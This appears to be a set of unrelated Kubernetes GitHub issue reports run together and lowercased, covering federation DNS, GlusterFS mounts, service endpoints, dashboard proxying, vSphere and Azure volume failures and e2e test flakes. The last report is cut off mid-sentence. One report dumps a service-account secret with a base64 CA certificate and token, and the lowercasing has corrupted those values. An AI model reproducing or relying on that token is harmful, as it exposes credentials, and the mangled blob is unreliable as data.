looking at our latest e2e ci  failures  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation/2194 , they appear to be due to the fact that the \ federations value\  for kube-dns install a domain with a trailing dot. the trailing period does   not   appear when i bring up the cluster manually with\r \r    \r federations_domain_map=\ e2e-federation=csbell.test-f8n.k8s.io\  federation_dns_zone_name=\ csbell.test-f8n.k8s.io\  federation/cluster/federation-up.sh\r    \r \r i suspect that somewhere we are reconstructing a federations_domain_map when it is unset and a trailing period gets added there.\r \r    \r i0309 05:47:18.123  e0309 13:46:36.944302       1 sync.go:153  invalid federations value: \ test-f8n.k8s.io.\  not a valid domain name:  \ must match the regex  a-z0-9   -a-z0-9   a-z0-9  ? \\\\. a-z0-9   -a-z0-9   a-z0-9  ?    e.g. 'example.com' \    value was \ e2e-federation=test-f8n.k8s.io.\  \r i0309 05:47:18.123  e0309 13:46:36.944340       1 sync.go:134  invalid configuration for federations, ignoring update: \ test-f8n.k8s.io.\  not a valid domain name:  \ must match the regex  a-z0-9   -a-z0-9   a-z0-9  ? \\\\. a-z0-9   -a-z0-9   a-z0-9  ?    e.g. 'example.com' \  \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r kubernetes glusterfs \ transport endpoint is not connected\ \r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r   kubernetes version    use  kubectl version  :\r \r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4+coreos.0\ , gitcommit:\ 8996efde382d88f0baef1f015ae801488fcad8c4\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t21:11:20z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal, 3 controller nodes and 5 workers\r -   os    e.g. from /etc/os-release : container linux 1353.7.0\r -   kernel    e.g.  uname -a  : 4.9.24-coreos\r -   install tools  :\r -   others  :\r   - glusterfs 3.10.1\r   - heketi v4.0.0-8-g9372c22-release-4\r   - running kubectl from systemd, without  killmode=process .\r \r   what happened  :\r when kubelet restarts, glusterfs fuse processes are killed by systemd. kubelet restarts them, but the volumes become inaccessible inside their pods.\r \r   what you expected to happen  :\r if a volume is inaccessible, any pods that require it should be terminated. conversely, if a pod is running, all its volumes should be accessible.\r \r   how to reproduce it    as minimally and precisely as possible :\r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: myclaim\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 8gi\r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   labels:\r     run: test1\r   name: test1\r spec:\r   template:\r     metadata:\r       labels:\r         run: test1\r     spec:\r       containers:\r       - image: debian\r         name: test1\r         stdin: true\r         tty: true\r         volumemounts:\r         - name: data\r           mountpath: /data\r       volumes:\r       - name: data\r         persistentvolumeclaim:\r           claimname: myclaim\r    \r \r use  kubectl exec $pod -- df -h /data  to diagnose whether the filesystem is visible inside the pod. watch for \ transport endpoint is not connected.\ \r \r 1.  systemctl restart kubelet  on the node. watch the glusterfs process disappear, then get re-created. test with df inside the pod, and see it fail.\r 2.  kubectl exec $pod -- kill 1  to restart the pod. test again with df, and see it succeed.\r \r   anything else we need to know  :\r \r see  13511 for related info on systemd killing glusterfs processes along with kubelet.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r   what happened  :\r when kube-controller-manager stopped, i use kubectl delete svc but found endpoint also deleted.\r   what you expected to happen  :\r endpoint still exists\r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. stop kube-controller-manager\r \r 2. delete svc kube-dns\r    \r root@szx1000353068:/mnt/go/src/k8s.io/kubernetes/_output/bin  kubectl delete svc kube-dns   -n kube-system\r service \ kube-dns\  deleted\r \r    \r \r 3. get endpoint\r    \r root@szx1000353068:/mnt/go/src/k8s.io/kubernetes/_output/bin  kubectl get ep -n kube-system\r name                      endpoints   age\r kube-controller-manager   <none>      17m\r kube-scheduler            <none>      17m\r \r     \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r \r   what happened  :\r when i create a secret for service account by hand. secret is created, but i can not get from service accrount, int other way, it is not referenced by sa.\r \r   what you expected to happen  :\r secret create by hand, should be referenced by service account.\r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create service account by hand with yaml \r    \r apiversion: v1\r kind: serviceaccount\r metadata:\r   name: build-robot-xuzhonghu\r   namespace: default\r    \r 2. create secret for serviceaccount build-robot-xuzhonghu by hand with yaml\r    \r apiversion: v1\r kind: secret\r metadata:\r   name: xiaohetao\r   annotations:\r     kubernetes.io/service-account.name: build-robot-xuzhonghu\r type: kubernetes.io/service-account-token\r \r    \r \r 3.  get secret \r    \r root@szx1000353068:~  kubectl get secret xiaohetao -oyaml\r apiversion: v1\r data:\r   ca.crt: ls0tls1crudjtibdrvjusuzjq0furs0tls0tck1jsurpekndqw5pz0f3sujbz0lkquxizznvrhpjdepetuewr0ntcudtswizrfffqkn3vufnrnd4q3pbskjntlykqkfzvefuadrnuw93q0fzrfzruulequy0tvfvd0nbwurwuvfirefgne1rb3ddqvlevlfrs0rbrjrnuw93q0fzrapwuvfmrefgne1rc3dduvlevlfrrerbsmpzvevrtue0r0ntcudtswizrfffskfswujlreflrncwee56qtvnrgt3ck16rxdnamhhrncwee9eqtvnrgt3txpfd01qagfnrnd4q3pbskjntlzcqvluqw5one1rb3ddqvlevlfrsurbrjqktvfvd0nbwurwuvfirefgne1rb3ddqvlevlfrs0rbrjrnuw93q0fzrfzruuxequy0tvfzd0nrwurwuvferefkagpzvevrtue0r0ntcudtswizrfffskfswujlrendqvnjd0rrwuplb1pjahzjtkfrrujcuufez2dfuefeq0nbuw9dcmdnrujbtgtunklwz2rzr2lyqwnguknlzelsruqvckmvdjfzr3lolzevwkllwtdpbmq5cge1cjntz3cvazzfmngkde9argpqtxdnwvbjdfrwuuryuudxmu1pumc1z3fbmgfbm2d3vy8rrgvlsu5xaffivw5qzxpwwxy0rkpyahvaaqoxk0nqv0exvzi5mfdnuedhngrxvmtfcc9tru9bc09hednirwjrvvfmrxgvs0z0ddryyjcveli4bhdluml2b1rmcm9smuzprmhxshg3cddjqurodefyekxymupzck1lntnocefluhfvee9vavlpafvhcdbxnxnzqnd5zklovk9izkkkvwmvmkvhmmvpqktpytmwquxdenjnvutatwzxtdl4y21jevqyv3ywuwldntmxdgtsewdgd3bumndcwgdid2rptgpvrhdkb3zgcmvjagzzuzvrntjjdk1uywxuewndqxdfqufhtlfnrtr3sffzrfzsme9cqllfrkx6ze5lvklmqxrkclh2r0trdefnadhoqxvrqufnqjhhqtfvzel3uvlnqmfbrkx6ze5lvklmqxrkwhzhs1f0qu1ooe5bdwtbqu1bd0ckqtfvzev3uuznqu1cqwy4d0rrwuplb1pjahzjtkfrruxcuufez2dfqkfbtzrqagpgu2q3wnj4ewzqvmrzq3v6wapztfbvogzgqkznt2tcszvpdfztuu9wl0nqa1jtrfkveldhnmx6qllobdf6mu9mqkfkber4ck5wvty3ehliwk0wckj0q0sxl3pnzctrutvtrs9zamxun0hscudikzbstjdwugm3a0neww9rq3zreehnsed6r3u0sloxl0qxowpgzdikwjvawlhkwxnltvv5ylfjcmtvsxdduencvvllvzy1skj2ndzkowllwmpwu2lymde1a0w4nvlrz0v4sutcn0vxqqpdsuixu0vrrxntyuvib2zkeli2wwhmakuxujgxk2vnrg9tquqzseg5n0u5t2flmgdzn2c1cev1thlxty9ydenucmxgcu1al1cvry9lqmdpzctvuu00atiydxrtshnvdvllutzitw1icww2twvbb3fjzerzukrgdlu5wewrbs9kod0kls0tls1ftkqgq0vsvelgsunbveutls0tlqo=\r   namespace: zgvmyxvsda==\r   token: zxlkagjhy2lpauptvxpjmu5psxnjbli1y0njnklrcfhwq0o5lmv5snbjm01pt2lkcmrxsmxjbtvszedwekwztmxjblpwwtjwafkytnzkvzuwswl3awezvmlawep1wlhsbgn5nxbietl6wlhkmmfxtmxzv05qyjnwdwrdoxvzvzfsyzncafkyvwlpauprwldaagrxedbjaxdpytnwavpysnvawfjsy3k1cgj5oxpaweoyyvdobflxtmpim1z1zem5elpxtnlawff1ym1gdfptstzjbmhwwvc5b1pyumhieulzsw10mvltvnlibvywwlhndwfxohzjmlz5zg1salpxrmpzmjkxym5rdmmyvnlkbwxqwlmxafkytnzkvzuwtg01agjxvwlpauppzfdsc1pdmxlimkp2zemxngrycg9imjvuyuhvauxdsnjkv0psy201bgrhvnpmbwx2tdnobgnuwnbzmlzowtjodmrxntbmm05sy25acfkyvxrzv05qyjnwdwrdntfhv1fpt2ljne5qwmlabvextxkwnu5urxhmvev4wlrjdflxrtvnetb5t0rabfpeutrpr1f3tw1fauxdsnpkv0lpt2lkemvytjbavza2yzjwewrtbgpav0zqwti5mwjuutzar1ztwvhwc2recglkv2xzwkmxewiysnzkqze0zfhwb2iynw5hsfvpzleuuvfqcgvqblzuymrycfzxbxb2x1lschfemjbsvxy4qw9pqzjonfnfmfruudnlnmptdjlmuwpub0trneswzllnou5hz0nvqw9ry2touflpzgtjctawvvzvakpzznvnwglmyvhhzg9ubtq5a0nkmufqagzpvmetctlicuvyckq3a2fdzun4nuzydgpjngjwnuzvbnrztzzeuzhovujrdhlru05hrwmtutromjrua0xsrzzubg5yb09utg1vbxb6nvfrn0farjrnnnzzofl6zujin09qwvb5ywfdc2p0alhpetlrtm5xz1ytmzzlww80bvc1x3bdthrnrwzoukpkevpdzthxutn3q2u5mm1oa0lpv1vcchvkqvdychbpujlxn29kmwhnbwp4muz0dl9rd2xfauoyzth1mvruqm5dbzzoefzybwvdq0g0wdyws24tzkhyzwfsdzjr\r kind: secret\r metadata:\r   annotations:\r     kubernetes.io/service-account.name: build-robot-xuzhonghu\r     kubernetes.io/service-account.uid: 866bfd53-9511-11e7-aa93-286ed488d02a\r   creationtimestamp: 2017-09-09t03:54:28z\r   name: xiaohetao\r   namespace: default\r   resourceversion: \ 3220\ \r   selflink: /api/v1/namespaces/default/secrets/xiaohetao\r   uid: 93e1570f-9512-11e7-aa93-286ed488d02a\r type: kubernetes.io/service-account-token\r    \r \r 4.  get service account, here does not include secret created before\r    \r root@szx1000353068:~  kubectl get sa build-robot-xuzhonghu -oyaml\r apiversion: v1\r kind: serviceaccount\r metadata:\r   creationtimestamp: 2017-09-09t03:46:56z\r   name: build-robot-xuzhonghu\r   namespace: default\r   resourceversion: \ 3221\ \r   selflink: /api/v1/namespaces/default/serviceaccounts/build-robot-xuzhonghu\r   uid: 866bfd53-9511-11e7-aa93-286ed488d02a\r secrets:\r - name: build-robot-xuzhonghu-token-58qdp\r    \r i think this shoud be a bug. new created secret for my service account should be reference by sa.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r deployed a new cluster v1.7.6 with kubeadm and tried to access dashboard via kubectl proxy. i tested two links, but only one works:\r \r    \r broken:\r http://localhost:8001/api/v1/namespaces/kube-system/services/kubernetes-dashboard/proxy\r \r works:\r http://localhost:8001/api/v1/proxy/namespaces/kube-system/services/kubernetes-dashboard/\r    \r \r   what you expected to happen  :\r \r should work, because with kubernetes 1.7.5 it works without any problem.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r deploy new cluster 1.7.6 with kubeadm  centos 7.4  and calico network provider\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:36:08z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r    \r on prem\r    \r \r - os  e.g. from /etc/os-release :\r    \r centos 7.4\r    \r \r - kernel  e.g.  uname -a  :\r    \r linux k8s-play01.customer-virt.eu 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r    \r kubeadm 1.7.5\r    \r \r already discussed the problem at the dashboard repository and it seems to be a problem with kube proxy\r https://github.com/kubernetes/dashboard/issues/2368

> uncomment only one, leave it on its own line: \r >\r >    \r \r   what happened  :\r create a statefulset : \r    yaml\r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: appname\r   labels:\r     ekos-application: aaaa\r     ekos-service: fdsafdsa\r     log-ignore: \ false\ \r     stateful: exclusive\r     type: service\r spec:\r   replicas: 2\r   selector:\r     matchlabels:\r       ekos-application: aaaa\r       ekos-service: fdsafdsa\r       type: service\r   servicename: dfsdfs\r   template:\r      metadata:\r        name: dfsdfsdd\r        labels:\r         ekos-application: aaaa\r         ekos-service: fdsafdsa\r         log-ignore: \ false\ \r         type: service\r         version: \ 1\ \r      spec:\r       containers:\r       - image: registry.ekos.local/library/hello:latest\r         imagepullpolicy: always\r         name: containername\r         resources:\r           limits:\r             cpu: 125m\r             memory: 64m\r           requests:\r             cpu: 62m\r             memory: 32m\r         volumemounts:\r             - name: vctname\r               mountpath: /usr/share/nginx/html\r   volumeclaimtemplates:\r   - metadata:\r       name: appname\r     spec:\r       accessmodes:\r       - readwritemany\r       resources:\r         requests:\r           storage: 1mi\r        selector:\r         matchlabels:\r            foo: foo\r       storageclassname: test\r    \r accoding to the instruction that we only use volumeclaimtemplates direction if we want to use storage of statefulset pod.no matter use storageclassname to dynamic provide pv or use selector matchlabels,k8s always create a pvc\r   what you expected to happen  :\r use pvcs existed rather than only dynamic provide\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r downloaded kubernetes source code and built it on mac os x. when i tried to build and run kubelet.go file, i got the below logs:\r    \r i0131 14:34:49.335567    2926 feature_gate.go:144  feature gates: map  \r w0131 14:34:49.335770    2926 server.go:469  no api client: no api servers specified\r i0131 14:34:49.335872    2926 docker.go:364  connecting to docker on unix:///var/run/docker.sock\r i0131 14:34:49.335892    2926 docker.go:384  start docker client with request timeout=2m0s\r w0131 14:34:49.339829    2926 cni.go:157  unable to update cni config: no networks found in /etc/cni/net.d\r w0131 14:34:49.339978    2926 server.go:350  no api server defined - no events will be sent to api server.\r i0131 14:34:49.339997    2926 server.go:509  --cgroups-per-qos enabled, but --cgroup-root was not specified.  defaulting to /\r e0131 14:34:49.340051    2926 server.go:564  kubelet needs to run as uid  0 . it is being run as 502\r w0131 14:34:49.340075    2926 server.go:574  setting oom scores is unsupported in this build\r w0131 14:34:49.340270    2926 iptables.go:142  error checking iptables version, assuming version at least 1.4.11: executable file not found in $path\r w0131 14:34:49.340454    2926 kubelet_network.go:70  hairpin mode set to \ promiscuous-bridge\  but kubenet is not enabled, falling back to \ hairpin-veth\ \r i0131 14:34:49.340473    2926 kubelet.go:494  hairpin mode set to \ hairpin-veth\ \r w0131 14:34:49.340566    2926 plugins.go:221  can't set sysctl net/bridge/bridge-nf-call-iptables: open /proc/sys/net/bridge/bridge-nf-call-iptables: no such file or directory\r error: failed to run kubelet: failed to create kubelet: cadvisor is unsupported in this build\r    \r \r   what you expected to happen  :\r expect to build and run kubelet natively on mac machines without vm.\r \r  /area kubelet

the kubelet currently has a single os-specific flag:  --windows-service .\r \r we anticipate that the kubelet, and other components, will require more os-specific flags in the future.\r \r we should standardize how os-specific configuration is structured and managed across componentconfig api groups.\r \r some options:\r - separate  --windows-config ,  --linux-config , etc. flags, with corresponding  kubeletwindowsconfiguration ,  kubeletlinuxconfiguration , etc. objects.\r - separate objects, as above, but paths to the files are provided via  kubeletconfiguration , allowing deployment via dynamic config.\r - simply add fields to  kubeletconfiguration , with os-specific prefixes, e.g.  windowsfield ,  linuxfield ,  darwinfield , etc.  this is perhaps the simplest approach .\r - substructures in  kubeletconfiguration  for each os. i'm personally against this one, as i suspect it will be uglier than a flat namespace.\r \r note: i'm ignoring cadvisor's linux-specific flags, since most are deprecated in the kubelet and it's questionable how long we'll have cadvisor as a dependency. \r \r /assign @mtaufen @liggitt @thockin \r

similar to  2707\r \r we have .net core applications which require  :  in the env names, such as  applicationinsights:instrumentationkey .

   @kubernetes/sig-vmware-bugs\r \r   what happened  :\r trying to set up the vsphere cloud provider on a new kubernetes cluster, i am unable to get the provider to create pv's. it doesn't even attempt to do so.\r \r   what you expected to happen  :\r a pv would be created when deploying a statefulset, instead the pvc stays pending and never creates.\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubeadm deploy a new cluster with the vsphere provider against vcenter 6.5.0.13000 with version 1.13.2 or 1.12.5 of kubernetes, using centos 7.6.1810 vms. pass cloud-provider flags to kubeadm so providerid shows in the node details  otherwise you run into issue  65933  https://github.com/kubernetes/kubernetes/issues/65933 \r \r   anything else we need to know?  :\r relevant kube-controller-manager -v=0 output:\r    i0131 16:39:00.338886       1 vsphere_volume_util.go:140  vsanstorageprofiledata in vsphere volume \ \ \r i0131 16:39:00.338894       1 vsphere.go:1133  starting to create a vsphere volume with volumeoptions: &{capacitykb:5242880 tags:map kubernetes.io/created-for/pvc/namespace:default kubernetes.io/created-for/pvc/name:data-minio-0 kubernetes.io/created-for/pv/name:pvc-b42968e0-2576-11e9-aadf-005056884d81  name:kubernetes-dynamic-pvc-b42968e0-2576-11e9-aadf-005056884d81 diskformat:thin datastore: vsanstorageprofiledata: storagepolicyname: storagepolicyid: scsicontrollertype:}\r i0131 16:39:00.339814       1 graph_builder.go:578  graphbuilder process object: events.k8s.io/v1beta1/event, namespace default, name minio-0.157efc4ec21f319c, uid b42b426e-2576-11e9-aadf-005056884d81, event type update\r i0131 16:39:00.343229       1 nodemanager.go:424  renewing nodeinfo &{datacenter:0xc000206340 vm:0xc00044f210 vcserver:den-resvc-1.    vmuuid:42084a1c-41a2-965b-b3aa-482b24027dca} for node \ den-k8smaster1-1.   \ \r i0131 16:39:00.344266       1 nodemanager.go:312  updated nodeinfo {0xc002f22078 0xc0038e06f0 den-resvc-1.    42084a1c-41a2-965b-b3aa-482b24027dca} for node \ den-k8smaster1-1.   \ .\r i0131 16:39:00.344280       1 nodemanager.go:424  renewing nodeinfo &{datacenter:0xc0000d2758 vm:0xc000247aa0 vcserver:den-resvc-1.    vmuuid:42086533-599f-e8b3-b146-5efa4d43998f} for node \ den-k8sworker1-1.   \ \r i0131 16:39:00.345316       1 nodemanager.go:312  updated nodeinfo {0xc00000c4e0 0xc003dec940 den-resvc-1.    42086533-599f-e8b3-b146-5efa4d43998f} for node \ den-k8sworker1-1.   \ .\r i0131 16:39:00.345337       1 vsphere_util.go:132  getting accessible datastores for node den-k8smaster1-1.   \r e0131 16:39:00.348871       1 virtualmachine.go:229  failed to get datastore managed objects from datastore objects. dsobjlist:   , properties:  info , err: object references is empty\r i0131 16:39:00.348885       1 vsphere_util.go:110  error \ object references is empty\  getting accessible datastores for node &{nodename:den-k8smaster1-1.    vm:0xc0038e06f0 vmuuid:42084a1c-41a2-965b-b3aa-482b24027dca}\r e0131 16:39:00.348895       1 vsphere.go:1185  failed to get shared datastore: object references is empty\r i0131 16:39:00.348904       1 vsphere.go:1237  the canonical volume path for the newly created vsphere volume is \ \ \r i0131 16:39:00.348919       1 pv_controller.go:1511  failed to provision volume for claim \ default/data-minio-0\  with storageclass \ miniosc\ : object references is empty\r e0131 16:39:00.348952       1 goroutinemap.go:150  operation for \ provision-default/data-minio-0 b42968e0-2576-11e9-aadf-005056884d81 \  failed. no retries permitted until 2019-01-31 16:39:01.34893902 +0000 utc m=+61.721747776  durationbeforeretry 1s . error: \ object references is empty\ \r i0131 16:39:00.348989       1 event.go:221  event v1.objectreference{kind:\ persistentvolumeclaim\ , namespace:\ default\ , name:\ data-minio-0\ , uid:\ b42968e0-2576-11e9-aadf-005056884d81\ , apiversion:\ v1\ , resourceversion:\ 3335\ , fieldpath:\ \ } : type: 'warning' reason: 'provisioningfailed' failed to provision volume with storageclass \ miniosc\ : object references is empty\r    \r   environment  :\r vmware vsphere environment, fibre channel backed storage no vsan, no storage profiles\r 3 vcenters, 1 separate platform services controller\r all k8s vm's are in the same vcenter, with the same storage attached\r \r - kubernetes version  use  kubectl version  :\r -bash-4.2$ kubectl version\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:35:51z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:28:14z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r vsphere cloud provider\r vmware vcenter 6.5.0.13000\r vmware esxi 6.5.0, 10175896 \r    \r  global \r         user = \ k8s-vsphere-service@   \ \r         password = \        \ \r         server = \ den-resvc-1.ci.neoninternal.org\ \r         port = \ 443\ \r         insecure-flag = \ 1\ \r         datacenter = \    -denver-resource\ \r         datastore = \ vol-k8s-1\ \r         working-dir = \ folder-k8s\ \r  disk \r         scsicontrollertype = pvscsi\r    \r - os  e.g. from /etc/os-release :\r centos 7.6.1810\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r - kernel  e.g.  uname -a  :\r 3.10.0-957.1.3.el7.x86_64  1 smp thu nov 29 14:49:43 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r i have also tested with kubernetes 1.12.5 and gotten the same results.

what happened  :\r controller manager can't request to attach the disk  pv  to virtual machine from vmss\r \r i0319 12:50:40.197498       1 event.go:221  event v1.objectreference{kind:\ pod\ , namespace:\ u001\ , name:\ u001-cassandra-csb-0\ , uid:\ 900a6abd-4a45-11e9-a32f-000d3a6cc167\ , apiversion:\ v1\ , resourceversion:\ 2242297\ , fieldpath:\ \ } : type: 'warning' reason: 'failedattachvolume' attachvolume.attach failed for volume \ pvc-f852fa33-43b5-11e9-b42a-000d3a6cc167\  : attach volume \ kubernetes-dynamic-pvc-f852fa33-43b5-11e9-b42a-000d3a6cc167\  to instance \ /subscriptions/xxxx/resourcegroups/qus7uw2-xxxx/providers/microsoft.compute/virtualmachinescalesets/xxxx-qus7uw2l-k8sworker-7/virtualmachines/1\  failed with compute.virtualmachinescalesetvmsclient update: failure sending request: statuscode=0 -- original error: autorest/azure: service returned an error. status=<nil> code=\ operationnotallowed\  message=\ operation put on virtual machine scale set vm instance 1 of virtual machine scale set xxxx-qus7uw2l-k8sworker-7  is not allowed because the vm instance is not provisioned yet.\ \r \r   how to reproduce it  as minimally and precisely as possible   :\r it just happened after some days work correctly.\r \r   anything else we need to know?  :\r the virtual machine scale set vm instance 1 started correctly with cloud-config and cloud-provider=azure are set.  verified from azure console and kubectl get node and providerid  was set when node join to cluster by kube-controller-manager \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13.4\r - cloud provider or hardware configuration:  azure\r - os  e.g:  cat /etc/os-release  : centos7\r - kernel  e.g.  uname -a  : 3.10.0-862.14.4.el7.x86_64\r - install tools: self-deployment\r - others:\r \r 

we need to decide where we're going with log management.   we have kubectl logs and the fluentd and elk setups. we're not currently using docker logging plugins.  more specific open issues: - rotation configuration, both for docker logs and file-based logs, as in  13010 - kubectl logs  11046 vs. fluentd and other agents to push off node - how to capture kubernetes metadata:  8001  forked from  16889  @vishh @dchen1107 @saad-ali @ncdc

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/31373/kubernetes-pull-build-test-e2e-gce/56869/  failed:  k8s.io  downward api volume should provide podname only  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 aug 31 15:48:21.680: couldn't delete ns: \ e2e-tests-downward-api-okpt6\ : the server could not find the requested resource /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338      happened on a presubmit run in  31373.

background: i'm trying to debug long api-calls of \ list nodes\ .  since most of the calls listing nodes don't set any selector, as an optimization for this case yesterday i added explicit memory allocation for that case in cacher in: https://github.com/kubernetes/kubernetes/pull/35125  as a side effect, in our traces we see how long it takes.  and indeed - in large clusters this memory allocation is huge majority  i.e. ~90%  of the processing of those calls in cacher.  in particular, all long calls have traces like this:      i1020 10:13:44.825802    3611 trace.go:61  trace \ cacher  api.node: list\   started 2016-10-20 10:13:43.980532542 +0000 utc :  2.576µs   2.576µs  ready  13.727µs   11.151µs  watchcache locked acquired  14.637µs   910ns  watchcache fresh enough  2.103842ms   2.089205ms  listed 4000 items from cache  794.949876ms   792.846034ms  resized result  845.222829ms   50.272953ms  filtered 4000 items  845.234997ms   12.168µs  end      that basically means that allocating a slice for 4000 nodes takes 792ms.  is there anything we can do to make this faster: https://github.com/kubernetes/kubernetes/blob/master/pkg/storage/cacher.go l393  @xiang90 @hongchaodeng @smarterclayton @timothysc @gmarek

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-smoke/2405/  failed:  k8s.io  pods should allow activedeadlineseconds to be updated  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:364 expected error:     < errors.errorstring | 0xc8200fd6a0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:57

we should remove  isthirdpartyapigroupversion ,  addthirdpartyapigroupversions , and  thirdpartyresourcedata .  the content needs to have its object meta massaged, but that should mean having its own reststorage defined.\r \r  thirdpartyresourcedata  is being used to carry bits without modification and stomp  metadata .  that should be changed to  runtime.unstructured  because all we care about is moving the bits and setting metadata which is already exposed through  api/meta  values.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r   initcontainers imagepullpolicy\r   initcontainers required value\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-beta.3\ , gitcommit:\ 35fd1363821b8432ccde55632cf9ead4c79eddbb\ , gittreestate:\ clean\ , builddate:\ 2016-12-08t21:58:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-beta.3\ , gitcommit:\ 35fd1363821b8432ccde55632cf9ead4c79eddbb\ , gittreestate:\ clean\ , builddate:\ 2016-12-08t21:54:19z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  : cluster/kube-up.sh\r -   others  :\r \r \r   what happened  :\r \r when trying to create either a replicaset or replication controller whose pod template contains an init container, the validation fails saying  imagepullpolicy  is a required value.\r \r    \r the 